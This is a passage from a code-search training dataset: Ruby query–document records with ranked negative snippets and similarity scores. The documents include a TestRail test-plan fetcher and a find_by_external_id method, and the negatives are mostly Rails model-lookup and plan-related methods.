@options[:test_config].has_key?('eyes')\n\n ['match_level', 'title', 'app', 'viewport'].each do |k|\n\n _v=nil\n\n if @options[:test_config]['eyes'].has_key?(k)\n _v=@options[:test_config]['eyes'][k].to_s\n end\n\n if !@options[k.to_sym].nil?\n _v=@options[k.to_sym].to_s\n end\n\n if Scoutui::Utils::TestUtils.instance.isDebug?\n puts __FILE__ + (__LINE__).to_s + \" #{k} => #{_v}\"\n end\n\n Scoutui::Base::UserVars.instance.set('eyes.' + k, _v) if !_v.nil?\n\n end\n end\n\n @options[:test_config]\n end", "def get_user_details(account)\n # Get the user's profile information.\n response = access_token(account).get('http://gdata.youtube.com/feeds/api/users/default')\n xml = Nokogiri::XML(response.body)\n username = xml.xpath('//yt:username/text()', {'yt' => 'http://gdata.youtube.com/schemas/2007'}).to_s\n first_name = xml.xpath('//yt:firstName/text()', {'yt' => 'http://gdata.youtube.com/schemas/2007'}).to_s\n last_name = xml.xpath('//yt:lastName/text()', {'yt' => 'http://gdata.youtube.com/schemas/2007'}).to_s\n\n # Return the user details.\n return {:username => username, :full_name => \"#{first_name} #{last_name}\", :url => \"http://www.youtube.com/user/#{username}\"}\n end", "def setup\n @user = users(:tom)\n end", "def collect_user_details\n cmd = 'lsuser -a ALL' # get all user names\n result ||= inspec.backend.run_command(cmd)\n return [] if result.exit_status.to_i != 0\n names = result.stdout.split(\"\\n\")\n users_cache = []\n names.sort.uniq.each do |n|\n users_cache << AixUser(inspec, n)\n end\n users_cache\n end", "def user()\n return @data[\"access\"][\"user\"]\n end", "def user_name\n @options[:user_name] ||= @options[:repository].config['pivotal.full-name'] || @options[:repository].config['user.name']\n end" ]
[ "0.6815838", "0.68140435", "0.67021185", "0.66873443", "0.66300595", "0.6592775", "0.6581757", "0.64400613", "0.64211804", "0.6406034", "0.638561", "0.63472456", "0.6314552", "0.63047105", "0.6299964", "0.6291072", "0.62194216", "0.6217016", "0.62151587", "0.6166857", "0.61503434", "0.6143804", "0.61085206", "0.606558", "0.602033", "0.597946", "0.59765434", "0.5971186", "0.59655774", "0.59655774", "0.59293896", "0.5919514", "0.5901525", "0.58989793", "0.5896895", "0.5888262", "0.58848447", "0.5872508", "0.5870514", "0.5864027", "0.5862069", "0.58515215", "0.5848906", "0.5844376", "0.58430356", "0.58346707", "0.58324736", "0.58126986", "0.5804083", "0.57718235", "0.57592934", "0.575175", "0.57344997", "0.5717596", "0.5709678", "0.57027566", "0.56929094", "0.56920487", "0.56808233", "0.5674533", "0.56707484", "0.56699663", "0.56698173", "0.5669742", "0.5664989", "0.5654604", "0.5651264", "0.5650258", "0.5645291", "0.56426996", "0.56267136", "0.56083626", "0.56041014", "0.5595226", "0.55915385", "0.55843455", "0.55832654", "0.5575658", "0.5571934", "0.5561234", "0.55490196", "0.5547047", "0.5542789", "0.5537282", "0.5535519", "0.5534287", "0.551968", "0.5516895", "0.55157065", "0.55056834", "0.5497049", "0.54938614", "0.54812914", "0.5462442", "0.5455295", "0.5455178", "0.54505146", "0.5448905", "0.54487354", "0.5447008", "0.54464847" ]
0.0
-1
find_by_external_id is forced from inheritance
def find_by_external_id(external_id) case @artifact_type.to_s when 'testcase' begin uri = "get_cases/#{@tr_project['id']}" artifact_array = @testrail.send_get(uri) rescue Exception => ex RallyLogger.warning(self, "EXCEPTION occurred on TestRail API 'send_get(#{uri})':\n") RallyLogger.warning(self, "\t#{ex.message}") raise RecoverableException.new("\tFailed to find testcases with populated <ExternalID> field", self) end when 'testrun' raise UnrecoverableException.new('Unimplemented logic: find_by_external_id on "testrun"', self) when 'testresult' raise UnrecoverableException.new('Unimplemented logic: find_by_external_id on "testresult"', self) else raise UnrecoverableException.new("Unrecognize value for <ArtifactType> '#{@artifact_type}' (msg5)", self) end matching_artifacts = [] ids = [] artifact_array.each do |artifact| if artifact["custom_#{@external_id_field.downcase}"] == external_id matching_artifacts.push(artifact) ids.push get_id_value(artifact) end end if matching_artifacts.length < 1 raise RecoverableException.new("No artifacts found with <ExternalID> = '#{external_id}'", self) return nil end if matching_artifacts.length > 1 RallyLogger.warning(self, "More than one artifact found with <ExternalID> = '#{external_id}' (IDs=#{ids})") raise RecoverableException.new("More than one artifact found with <ExternalID> = '#{external_id}' (IDs=#{ids})", self) return nil end return matching_artifacts.first end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def find(object, parent = @base)\n raise NotImplementedError, \"Subclasses must implement public method find\"\n end", "def find_record(xero_id)\n raise_must_override\n end", "def find\n super.first\n end", "def find(id)\n raise NotImplementedError\n end", "def find_by_id(id)\n raise NotImplementedError.new\n end", "def find_record_by(model)\n raise_must_override\n end", "def find_object(parent_object, id)\n raise NotImplementedError, \"#{self.class} must implement method: #{__callee__}\"\n end", "def find(id); end", "def find(id); end", "def find(id)\n fetch([name, id]) do\n super\n end\n end", "def find_object_from_link(parent_object, id)\n find_object(parent_object, id)\n end", "def parent_model_find(parent_param)\n return parent_model.find(parent_param) if parent_param.is_integer?\n parent_model.find_by_param!(parent_param)\n end", "def find_record\n self.class.model_klass.find(params[:id])\n end", "def find_by_external_id(external_id)\n {}\n end", "def find(id)\n klass.find(id)\n end", "def find( id )\n model.get( id ).extend( InstanceMethods )\n end", "def find_referring_record\n return unless @ref_record_type\n\n ref_item_class_name = @ref_record_type.singularize.camelize\n\n # Find the matching UserBase subclass that has this name, avoiding using the supplied param\n # in a way that could be risky by allowing code injection\n ic = UserBase.class_from_name ref_item_class_name\n\n # Look up the item using the item_id parameter.\n @referring_record = ic.find(@ref_record_id.to_i)\n @referring_record.current_user = current_user\n @referring_record\n end", "def find(id, params = {})\n from_base id, params\n end", "def find_model(record)\n raise_must_override\n end", "def find_object\n @object = @model_class.find_by_id(params[:id].to_i)\n end", "def find_locally(id)\n if @all.present?\n @all.find { |model| model.id == id }\n end\n end", "def find(id)\n\nend", "def find_record(id)\n @model_class.find(id)\n end", "def find_record(id)\n @model_class.find(id)\n end", "def method_missing msg, *args, &block\n model = begin;\n Object.const_get msg\n rescue NameError\n end\n \n if model and model.respond_to?(:descends_from_active_record?) and model.descends_from_active_record?\n model.find args.first\n else\n super\n end\nend", "def find\n fail NotImplementedError\n end", "def find_resource\n if parent_data.present?\n parent.send(collection_name).find(params[:id])\n else\n model_class.find_by!(account_id: current_account.id, id: params[:id])\n end\n end", "def find(id)\n end", "def find(id)\n # Used where so no exception will be raised if the instance\n # does not exist.\n @model.unscoped.where(@model_data['mappings']['id'].to_sym => id).first\n end", "def existing\n return self.class.find_by_unique_id(unique_id)\n end", "def find_by_id(id)\n find_by(:id, id)\n end", "def find_by()\n\n end", "def get_object_by_file_internal_id(obj, attrib, file_internal_id, external_vip_id = nil, external_datetime = nil)\n\n\t\t#grab attribute type from innerattrib (drop _id)\n\t\tattribute_type = attrib[0,attrib.size-3]\n\t\tputs attribute_type if Debug > 3\n\n\t\t#get the class corresponding to the parameter\t\n\t\tattr_reflection = obj.class.reflect_on_association(attribute_type.to_sym)\t\n\t\tattr_reflection ||= obj.class.reflect_on_association(attribute_type.pluralize.to_sym)\t\n\n\t\tattribute_class = attr_reflection.klass \n\t\tobj_source = @source\n\n\t\t#TODO: test external links functionality\n\t\t# look up the external source if it's referenced\n\t\tif (external_vip_id and external_datetime) then\n\t\t\tputs \"External\" if Debug > 3\n\t\t\tobj_source = Source.find(:first, :conditions => \n\t\t\t\t\t\t [\"date = ? AND vip_id = ?\", \n\t\t external_datetime,\n\t\t external_vip_id])\n\t\tend\n\n\t\t#find the referenced object. only grab the id...we just save a ref to the object\n\t\tobj_source.nil? ? nil : attribute_class.find(:first, \n\t\t :conditions => [\"source_id = ? AND file_internal_id = ?\", \n\t\t obj_source.id, file_internal_id ], \n\t\t :select => \"id\")\n\tend", "def real(options={})\n @real ||= self.type.constantize.find(self.id, options)\n end", "def cast\n Kernel.const_get(objeto_classe).find(objeto_id)\n end", "def find_by_source_urn(urn)\n raise \"Must be overridden\"\n end", "def find_record\n self.class.resource_model.find(params[:id])\n end", "def find\n raise \"Method not implemented\"\n end", "def find_existing_record(klass, obj_hash, importer: nil)\n if klass == User\n # The index for css_id has an odd column name plus find_by_css_id is faster.\n User.find_by_css_id(obj_hash[\"css_id\"])\n elsif klass == Organization\n # The url may need to be converted into a clean url\n Organization.unscoped.find_by_url(obj_hash[\"url\"])\n elsif klass == Appeal\n # uuid is not a uniq index, so can't rely on importer to do it automatically\n Appeal.find_by(uuid: obj_hash[\"uuid\"])\n elsif [Organization, Veteran, Person].include?(klass)\n # Let importer find it using the fallback: klass.unscoped.find_by(unique_field: obj_hash[unique_field])\n nil\n end\n end", "def find_by_id(class_name)\n class_name.find_by(id: params[:id])\n end", "def find(id)\n find_result\n end", "def inherited(subclass)\n subclass.field :id, from: 'Id'\n end", "def inherited(subclass)\n subclass.field :id, from: 'Id'\n end", "def find_by_id(clazz, id)\n clazz.find(id)\n end", "def find(record_id) \n result = CONNECTION.execute(\"SELECT * FROM #{self.table_name} WHERE id = #{record_id}\").first\n \n self.new(result)\n end", "def find_by_target_urn(urn)\n raise \"Must be overridden\"\n end", "def find(id)\n return nil if id.blank?\n path = build_association_path -> { \"#{@parent.request_path(@params)}#{@opts[:path]}/#{id}\" }\n @klass.get_resource(path, @params)\n end", "def find id\n model.find id\n end", "def find_by_id(id)\n find(id)\n end", "def by_id(base_id)\n self.where(:id => base_id).limit(1)\n end", "def find(id)\n finder_or_run(:find, id)\n end", "def find_on_create\n write_inheritable_attribute :find_on_create, true\n end", "def find(record_id)\n # Figure out the table's name from the class we're calling the method on.\n table_name = self.to_s.pluralize.underscore\n \n results= CONNECTION.execute(\"SELECT * FROM #{table_name} WHERE id = #{record_id}\")\n if results.empty? \n return nil\n else \n result=results.first\n self.new(result)\n end\n end", "def by_id(id)\n raise NotImplementedError.new\n end", "def find_phoneable\n phoneable_type.to_s.classify.constantize.find(phoneable_id)\n end", "def find_record #:nodoc:\r\n if @tables.size == 1\r\n @record = @tables.first[0].find(params[:id])\r\n else\r\n rec = @tables.first[0].find(@ids.first) # top most record\r\n 1.upto(@tables.size - 2) { |i| rec = rec.send(@tables[i][1].pluralize).find(@ids[i]) } # find embedded childrens by ids\r\n @record = rec.send(@tables.last[1].pluralize).find(params[:id]) # record to edit\r\n end\r\nend", "def find_record #:nodoc:\r\n if @tables.size == 1\r\n @record = @tables.first[0].find(params[:id])\r\n else\r\n rec = @tables.first[0].find(@ids.first) # top most record\r\n 1.upto(@tables.size - 2) { |i| rec = rec.send(@tables[i][1].pluralize).find(@ids[i]) } # find embedded childrens by ids\r\n @record = rec.send(@tables.last[1].pluralize).find(params[:id]) # record to edit\r\n end\r\nend", "def find_by_id!(id)\n new(one.find_by_id(id) || raise(RecordNotFound, \"A #{name} record for #{id} does not exist.\"))\n end", "def find(id)\n found_id = redis.get \"#{klass}:id:#{id}\"\n\n if found_id\n object = self.new\n object.send(:id=, found_id.to_i)\n object\n end\n end", "def find_by_friendly_id(id); end", "def find(record_id)\n self.new(CONNECTION.execute(\"SELECT * FROM #{get_table_name} WHERE id = #{record_id}\").first)\n end", "def prepare_find\n raise Error.new('Cannot find an event without an ID') if id.blank?\n self\n end", "def find_record_with_rbac(db, id)\n options = @find_with_aggregates ? { :named_scope => :with_aggregates } : {}\n super(db, id, options)\n end", "def find_object(id:)\n super(id: ::Types::GlobalIDType[::Awardable].coerce_isolated_input(id))\n end", "def find_by_id(id)\n resp = get(\"/#{exposed_as}/#{id}\")\n case resp.response.code.to_i\n when 200\n result = MultiJson.load resp.parsed_response\n new(result)\n when 404\n nil\n else\n raise \"#{self.class.name}#try_find with ID #{id.inspect} returned unexpected response: #{resp.inspect}\"\n end\n end", "def find_by_id(id)\n results = one.find_by_id_ne(id)\n results && new(results) || nil\n end", "def find(record_id) \n # Figure out the table's name from the class we're calling the method on.\n table_name = self.to_s.pluralize.underscore\n results = QUIZ.execute(\"SELECT * FROM #{table_name} WHERE id = #{record_id}\").first\n self.new(results)\n end", "def postable(*args)\n if self.postable_type.nil? || self.postable_type.constantize < ActiveRecord::Base\n super\n elsif self.postable_type.constantize < ActiveResource::Base\n self.postable_type.constantize.send(:find, self.postable_id)\n end\n rescue\n super\n end", "def find id, params = {}, &block\n rel = relation params, &block\n rel.where!(config.document_unique_id_param => id) \n rel.load\n rel\n end", "def impressionable_find\n exeception_rescuer {\n @entity = impressionable_class.find(self.impressionable_id)\n }\n @entity\n\n end", "def find_one\n return super if params[klass.primary_key].present?\n @find_one ||= klass.new_collection_from_result(limit(1).fetch).first\n rescue ::Spyke::ConnectionError => error\n fallback_or_reraise(error, default: nil)\n end", "def find(id)\n return nil if id.blank?\n path = build_association_path lambda { \"#{@owner.request_path(@params)}#{@opts[:path]}/#{id}\" }\n @klass.get(path, @params)\n end", "def find_websiteable\n websiteable_type.to_s.classify.constantize.find(websiteable_id)\n end", "def find_record_from_identifier(entity)\n model = entity.model\n user_token = request.headers[\"X-#{model.to_s.upcase}-TOKEN\"]\n super if model != User || user_token.blank?\n model.find_by authentication_token: user_token\n end", "def find_by_name(id)\n end", "def find(id)\n self.detect{|x| x.id == id.to_i}\n end", "def find_by_id(id)\n self.select { |record| record.id == id.to_s }.first\n end", "def find_by_id(id)\n self.select { |record| record.id == id.to_s }.first\n end", "def find_by_id(id)\n results = one.find_by_id_ne(id)\n results && !results['id'].blank? && new(results) || nil\n end", "def find_resource\n set_resource_ivar class_name.find(params[:id])\n end", "def find_by_reference_key(class_name, record_id)\n find_by_reference_keys [class_name, record_id]\n end", "def find_existing_record\n @record = record_class.find(@locator)\n end", "def find_existing_record\n @record = record_class.find(@locator)\n end", "def find_contentable(contentable_type, contentable_id)\n contentable_type.constantize.find(contentable_id)\n end", "def find_entity(entity_id, entity_type)\n entity_class = begin; entity_type.constantize; rescue; nil; end\n return if entity_class.nil?\n\n @entity = if entity_class.respond_to?(:visible)\n entity_class.visible.find_by(id: entity_id)\n else\n entity_class.find_by(id: entity_id)\n end\n end", "def find_resource(id)\n query_service.find_by(id: Valkyrie::ID.new(id.to_s))\n end", "def find(id)\n item = raw_find(id)\n item && item.dup\n end", "def find_contactable contact\n contactable_type = contact.contactable_type\n id_param = contactable_type.classify.constantize.find(contact.contactable_id)\n return contactable = id_param\n end", "def fetch_record_by_param\n model.find(params[:id])\n end", "def method_for_find\n :find_by_slug!\n end", "def find id\n return nil if node.ids.empty?\n node.send(:orm_class).find id\n end", "def find_for_virtual_instance(virtual_instance)\n SData::SdUuid.first(:conditions => {:sd_class => virtual_instance.sdata_name, \n :bb_model_type => virtual_instance.baze_class_name, \n :bb_model_id => virtual_instance.baze.id,\n :user_id => virtual_instance.owner_id},\n :order => \"updated_at DESC\" )\n end", "def find_record\n @record ||= model.find_by_id(params[:id])\n end", "def find(item, type = nil)\n find_by_id(item) || find_by_generic(item, type)\n end", "def find(id)\n table_name = self.to_s.pluralize.underscore\n results = DATABASE.execute(\"SELECT * FROM #{table_name} WHERE id = #{id}\").first\n self.new(results)\n end", "def find_from!(collection, identifier, find_by = :id)\n if identifier.present?\n collection.detect { |instance| instance.send(find_by) == identifier.to_i } || (raise ActiveRecord::RecordNotFound)\n else\n raise ActiveRecord::RecordNotFound\n end\n end", "def find_for_reload\n self.class.find(self.product_id, self.id)\n end", "def find id, preserve_html=false\n check_for_falsy_id id\n Entity.new id, preserve_html\n end", "def find(record_id)\n result = DATABASE.execute(\"SELECT * FROM #{table} WHERE id = #{record_id}\").first\n\n self.new(result)\n end", "def find(*args, &block)\n if args.first.is_a?(Hash)\n super(*args, &block)\n else\n super(id: args)\n end\n end", "def belongs_to(*attrs)\n define_rid_method = attrs[1].try(:delete, :rid)\n super.tap do\n if define_rid_method != false\n relationship_name = attrs[0]\n rel = reflections[relationship_name] || reflections[relationship_name.to_s]\n\n return if rel.options[:polymorphic] # If we don't know the class, we cannot find the record by rid.\n\n class_name = rel.options[:class_name] || relationship_name.to_s.classify\n related_class = class_name.constantize\n define_rid_accessors(related_class, relationship_name) if related_class.attribute_names.include? \"rid\"\n end\n end\n end" ]
[ "0.6990371", "0.69078726", "0.68735176", "0.67421526", "0.6627048", "0.6615171", "0.6553549", "0.65004605", "0.65004605", "0.6387111", "0.6359464", "0.6314728", "0.6292692", "0.62690395", "0.6245097", "0.615858", "0.6089748", "0.6057772", "0.6028378", "0.6026412", "0.6012471", "0.6008837", "0.6002499", "0.6002499", "0.5978644", "0.5970821", "0.5960648", "0.5946988", "0.5943556", "0.5919363", "0.5913139", "0.59067804", "0.5906511", "0.5906227", "0.5877373", "0.586763", "0.585929", "0.58346283", "0.58272266", "0.5826911", "0.58256537", "0.5817103", "0.5817103", "0.58168095", "0.5816715", "0.57812405", "0.5780208", "0.5757895", "0.574628", "0.57450706", "0.574338", "0.57314616", "0.57289016", "0.5725467", "0.56997406", "0.56959087", "0.56959087", "0.56934065", "0.5681446", "0.5679605", "0.5673166", "0.565922", "0.56591475", "0.56529707", "0.56393576", "0.5627469", "0.56264096", "0.5625674", "0.5623703", "0.5621333", "0.5609749", "0.5601425", "0.5599628", "0.5594726", "0.5593493", "0.5568479", "0.5568411", "0.5568411", "0.556711", "0.5563129", "0.5558804", "0.55549884", "0.55549884", "0.5547457", "0.5542596", "0.55362743", "0.5527962", "0.552644", "0.55189735", "0.55153704", "0.55104715", "0.5507723", "0.55034924", "0.5497888", "0.5496368", "0.5491871", "0.5491696", "0.54904133", "0.5485975", "0.54774225", "0.54772437" ]
0.0
-1
find and populated related data for plans
def find_test_plans() begin uri1 = "get_plans/#{@tr_project['id']}" plan_shells = @testrail.send_get(uri1) plans = [] plan_shells.each do |plan_shell| uri2 = "get_plan/#{plan_shell['id']}" plan = @testrail.send_get(uri2) runs = [] tests = [] run_ids = [] entries = plan['entries'] || [] entries.each do |entry| run_shells = entry['runs'] run_shells.each do |run_shell| uri3 = "get_run/#{run_shell['id']}" run = @testrail.send_get(uri3) runs.push(run) uri4 = "get_tests/#{run_shell['id']}" test = @testrail.send_get(uri4) tests.push(test) run_ids.push(run_shell['id']) end end plan['runs'] = runs plan['tests'] = tests plan['run_ids'] = run_ids plans.push(plan) end rescue Exception => ex raise UnrecoverableException.new("Failed to find any Test Plans.\n TestRail api returned:#{ex.message}", self) end return plans end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def all_plans\n if current_user.typeofuser == \"admin\" then\n @tenant = current_user.tenant\n @current_plan = @tenant.pricing_plan\n @selected_plan = PricingPlan.find(@tenant.selected_plan_id)\n @pricing_plans = PricingPlan.where(:plan_type => 'public')\n end\n end", "def plans\n return @plans\n end", "def purchase_sub_existing\n @first_plan = Plan.find_by_my_plan_id(plan_set_one) # sets @first_plan the first plan object ACCORDING TO MY LEGEND (with my_plan_id)\n @second_plan = Plan.find_by_my_plan_id(plan_set_two)\n @third_plan = Plan.find_by_my_plan_id(plan_set_three)\nend", "def plan\n data['plans'][me]\n end", "def fetch_plans (id = nil)\n @plans = []\n parameters = {}\n @networks_by_plan = {}\n parameters[:_profile] = 'http://hl7.org/fhir/us/davinci-pdex-plan-net/StructureDefinition/plannet-InsurancePlan' \n if(id)\n parameters[:_id] = id\n end\n\n @client.search(\n FHIR::InsurancePlan,\n search: { parameters: parameters }\n )&.resource&.entry&.map do |entry|\n @plans << {\n value: entry&.resource&.id,\n name: entry&.resource&.name\n }\n @networks_by_plan [ entry&.resource&.id] = entry&.resource&.network\n end\n @plans.sort_by! { |hsh| hsh[:name] }\n rescue => exception\n redirect_to root_path, flash: { error: 'Please specify a plan network server' }\n\n end", "def plan_object\n Plan.new plan\n end", "def plans\n\t @plans = Plan.all\n\t current_user.clean_subscriptions if current_user\n\tend", "def plans\r\n @plans ||= PlansController.new(configuration: @configuration)\r\n end", "def memberships\n @basic_plan = Plan.find(1)\n @pro_plan = Plan.find(2)\n end", "def form_setup\n\t\t@plans = SubscriptionPlan.all.map { |plan| [plan.name_and_amount, plan.id] }\n\tend", "def plans=(value)\n @plans = value\n end", "def fetch\n plans = @pgsql.exec(\n [\n 'SELECT plan.id, plan.completed, plan.schedule,',\n 'SUM(risk.probability * effect.impact) / COUNT(triple.id) AS rank',\n 'FROM plan',\n 'JOIN part ON part.id = plan.part',\n 'JOIN project ON part.project = project.id',\n 'JOIN triple ON cause = plan.part OR risk = plan.part OR effect = plan.part',\n 'JOIN risk ON triple.risk = risk.id',\n 'JOIN effect ON triple.effect = effect.id',\n 'LEFT JOIN task ON task.plan = plan.id',\n 'WHERE project.login = $1 AND task.id IS NULL',\n 'GROUP BY plan.id, plan.completed, plan.schedule'\n ],\n [@login]\n )\n plans.select { |p| deadline(Time.parse(p['completed']), p['schedule'].strip.downcase) < Time.now }\n .map { |p| p['id'].to_i }\n end", "def find_plan\n if params[:plan_ids].present?\n @plan = @provider.service_plans.published.find(params[:plan_ids].first)\n end\n end", "def index\n @plans = Plan.all\n end", "def index\n @plans = Plan.all\n end", "def find_test_plans()\n begin\n uri1 = \"get_plans/#{@tr_project['id']}\"\n plan_shells = testrail_send('get', uri1)\n plans = []\n plan_shells.each do |plan_shell|\n uri2 = \"get_plan/#{plan_shell['id']}\"\n plan = testrail_send('get', uri2)\n runs = []\n tests = []\n run_ids = []\n \n entries = plan['entries'] || []\n entries.each do |entry|\n run_shells = entry['runs']\n run_shells.each do |run_shell|\n uri3 = \"get_run/#{run_shell['id']}\"\n run = testrail_send('get', uri3)\n runs.push(run)\n \n uri4 = \"get_tests/#{run_shell['id']}\"\n test = testrail_send('get', uri4)\n tests.push(test)\n \n run_ids.push(run_shell['id'])\n end\n end\n plan['runs'] = runs\n plan['tests'] = tests\n plan['run_ids'] = run_ids\n plans.push(plan)\n end\n rescue Exception => ex\n raise UnrecoverableException.new(\"Failed to find any Test Plans.\\n TestRail api returned:#{ex.message}\", self)\n end\n\n return plans\n end", "def find_test_plans()\n begin\n plan_shells = @testrail.send_get(\"get_plans/#{@tr_project['id']}\")\n plans = []\n plan_shells.each do |plan_shell|\n plan = @testrail.send_get(\"get_plan/#{plan_shell['id']}\")\n runs = []\n tests = []\n \n entries = plan['entries'] || []\n entries.each do |entry|\n run_shells = entry['runs']\n run_shells.each do |run_shell|\n run = @testrail.send_get(\"get_run/#{run_shell['id']}\")\n runs.push(run)\n test = @testrail.send_get(\"get_tests/#{run_shell['id']}\")\n tests.push(test)\n end\n end\n plan['runs'] = runs\n plan['tests'] = tests\n plans.push(plan)\n end\n rescue Exception => ex\n raise UnrecoverableException.new(\"Failed to find any Test Plans.\\n TestRail api returned:#{ex.message}\", self)\n end\n \n return plans\n end", "def plan\n @courses = Course.all\n @semesters = Semester.all\n @p_planners = PastPlanner.find_all_semester_groups(current_user)\n @f_planners = FuturePlanner.find_all_semester_groups(current_user)\n end", "def show\n @plans = Stripe::Plan.all\n end", "def index\n @plans = Plan.where(user_id: current_user.id)\n end", "def all_plans\n Plan.joins(:plan_category).includes(:plan_category) \\\n .yr(@year).order('plan_categories.ordinal, plans.cat_order')\n end", "def show\n id = @call.plan_id\n @plan = Plan.find(id)\n @plan = @plan.name\n end", "def plans(within_product=nil)\n product_id = within_product ? within_product.enabled_products.map(&:id) + [within_product.id] : nil\n Plan.where(:id => plan_ids, :product_id => product_id).all\n end", "def index\n respond_with(@plans = Plan.all)\n end", "def all_plans\n Plan.joins(:plan_category).includes(:plan_category) \\\n .yr(year).order('plan_categories.ordinal, plans.cat_order')\n end", "def index\n @operative_plans = OperativePlan.all\n end", "def index\n @page_plans = PagePlan.all\n end", "def account_plans\n @account_plans_manager\n end", "def show\n set_client_profile(@plan)\n @goals = @plan.goals\n @tasks = @plan.tasks\n end", "def index\n @inventory_plans = InventoryPlan.all\n end", "def index\n @test_plans = @project.test_plans\n end", "def assign_plan\n self.plan_id = Plan.find_by_name('Free').id\n end", "def show\n @id = @plan.id\n @name = @plan.name\n @major = @plan.major\n end", "def service_plans\n manager_instance(ServicePlanManager)\n end", "def index\n @article_plans = ArticlePlan.all\n end", "def index\n # @employee_plan = EmployeePlan.new\n\n @employee_plans = EmployeePlan.where(employee_id: current_user.employee_id)\n end", "def plan\n plan_rebuilder.plan\n end", "def plans\n subscriptions.map(&:plan)\n end", "def business_plan\n end", "def roaming_plans(country)\n plan = Plan.select('id, name, detail, price').where('country= ? AND plan_type = ? AND item= ?',\n country, 'plan', 'roaming')\n # Format to show in view\n plans = plan.map { |m| [m.name, m.id] }\n # Format to display details of plans\n details = plan.map {|m| [m.id, m.detail]}\n return [plans, details]\n end", "def set_plan\n @plan = Plan.find(params[:id])\n end", "def set_plan\n @plan = Plan.find(params[:id])\n end", "def set_plan\n @plan = Plan.find(params[:id])\n end", "def index\n @sales_plans = SalesPlan.all\n end", "def plans\n @plans ||= spinner('Loading plans') { Loader.load_all configuration.plan_files }\n end", "def plan_information(plan, options = {})\n apps = get_option(options, \"apps\", [])\n stages = get_option(options, \"stages\", [])\n report = []\n plan.plan_stages.each do |stage|\n if stages.empty? || stages.include?(stage.name)\n report << {\"stage\" => stage.name}\n components = []\n requests = stage.requests.include(:apps_requests).where(\"aasm_state IN ('complete, planned')\").order(\"apps_requests.app_id, aasm_state, requests.id DESC\")\n cur_app = \"\"; cur_env = \"\"\n request.each do |request|\n if request.app_name.first != cur_app\n report += components.sort{|a,b| a[\"component\"] <=> b[\"component\"] }\n report << {\"app\" => request.app_name.first, \"environment\" => request.environment.name }\n components = []\n cur_app = request.app_name.first\n end\n request_component_versions(request).each do |comp, ver|\n components << {\"component\" => comp, \"version\" => ver, \"request\" => request.number, \"environment\" => request.environment.name }\n end\n end\n end\n end\n report\nend", "def index\n @plan = Plan.new\n @incident = Incident.find(params[:incident_id])\n @plans = Plan.where(incident_id: @incident.id).order(date: :desc)\n end", "def set_plan\r\n @plan = Plan.find(params[:id])\r\n end", "def index\n @billing_plans = BillingPlan.all\n end", "def purchase\n @priceplans = Admin::Priceplan.all \n end", "def plans_available_bam(country)\n plan = Plan.select('id, name, detail, price').where('country= ? AND item= ?',\n country, 'bam')\n # Format to show in view\n plans = plan.map { |m| [m.name, m.id] }\n # Format to display details of plans\n details = plan.map {|m| [m.id, m.detail]}\n return [plans, details]\n end", "def index\n if current_user.is_admin?\n @plans = Plan.all\n else\n @plans = Plan.where(user_id: current_user.id)\n end\n end", "def all_plans\n file = File.read('./data/bundle.json')\n plan_hash = JSON.parse(file)\n plans = plan_hash['plans']\n end", "def index\n @calls = Call.all\n @plans = Plan.all\n end", "def plans(params = {})\n scope 'default'\n get('plans/', params)\n end", "def set_plan\n @plan = Plan.find(params[:id])\n end", "def plan_description\n end", "def index\n @meal_plans = MealPlan.all\n end", "def index\n @business_plans = BusinessPlan.all\n end", "def set_plan\n\t\t@plan = Plan.find(params[:id])\n\tend", "def show\n @plan = Plan.find(params[:id])\n end", "def payer_plans\n payerplan_type = \"http://hl7.org/fhir/us/davinci-pdex-plan-net/CodeSystem/InsuranceProductTypeCS|\"\n reply = @client.search(FHIR::InsurancePlan, search: { parameters: { type: payerplan_type } }).resource\n @payersbyid = build_payer_plans(reply)\n session[:payersbyid] = compress_hash(@payersbyid.to_json)\n\n # Prepare the query string for display on the page\n @search = URI.decode(reply.link.select { |l| l.relation === \"self\" }.first.url) if reply.link.first\n session[:payersplan_query] = @search\n rescue => exception\n puts \"payer plans fails: #{exception}\"\n @payersbyid ||= {}\n end", "def index\n @payment_plans = PaymentPlan.all\n end", "def set_plan\n puts '==================================='\n puts params \n puts '==================================='\n @plan = Plan.find(params[:id])\n end", "def show\n @new_plan = Plan.new\n @incident = Incident.find(params[:incident_id])\n @resources = @incident.resources.order(:category, :order_number)\n @resource = Resource.new\n @plan = Plan.find(params[:id])\n @plans = Plan.all.order(date: :desc)\n @objectives = @plan.objectives.order(order: :asc)\n @objective = Objective.new\n @activity = Activity.new\n end", "def set_plan\n @plan = Plan.find(params[:id])\n end", "def set_plan\n @plan = Plan.find(params[:id])\n end", "def set_plan\n @plan = Plan.find(params[:id])\n end", "def set_plan\n @plan = Plan.find(params[:id])\n end", "def set_plan\n @plan = Plan.find(params[:id])\n end", "def set_plan\n @plan = Plan.find(params[:id])\n end", "def set_plan\n @plan = Plan.find(params[:id])\n end", "def set_plan\n @plan = Plan.find(params[:id])\n end", "def set_plan\n @plan = Plan.find(params[:id])\n end", "def set_plan\n @plan = Plan.find(params[:id])\n end", "def set_plan\n @plan = Plan.find(params[:id])\n end", "def set_plan\n @plan = Plan.find(params[:id])\n end", "def set_plan\n @plan = Plan.find(params[:id])\n end", "def set_plan\n @plan = Plan.find(params[:id])\n end", "def set_plan\n @plan = Plan.find(params[:id])\n end", "def show\n set_client_profile(@goal)\n @plans = @goal.plans\n @tasks = @plans.map(&:tasks).flatten.uniq\n\n\n @needs = @goal.needs\n end", "def created_plans\n raise Pundit::NotAuthorizedError unless Api::V0::StatisticsPolicy.new(@user, :statistics).plans?\n \n roles = Role.where(\"#{Role.creator_condition} OR #{Role.administrator_condition}\")\n\n users = User.unscoped\n if @user.can_super_admin? && params[:org_id].present?\n users = users.where(org_id: params[:org_id])\n else\n users = users.where(org_id: @user.org_id)\n end\n\n plans = Plan.all\n if params[:range_dates].present?\n r = {}\n params[:range_dates].each_pair do |k, v|\n range_date_plans = plans\n .where('plans.created_at >=?', v['start_date'])\n .where('plans.created_at <=?', v['end_date'])\n r[k] = roles.joins(:user, :plan).merge(users).merge(range_date_plans).select(:plan_id).distinct.count\n end\n respond_to do |format|\n format.json { render(json: r.to_json) }\n format.csv {\n send_data(CSV.generate do |csv|\n csv << [_('Month'), _('No. Plans')]\n total = 0\n r.each_pair{ |k,v| csv << [k,v]; total+=v }\n csv << [_('Total'), total]\n end, filename: \"#{_('plans')}.csv\") }\n end\n else\n plans = plans.where('plans.created_at >= 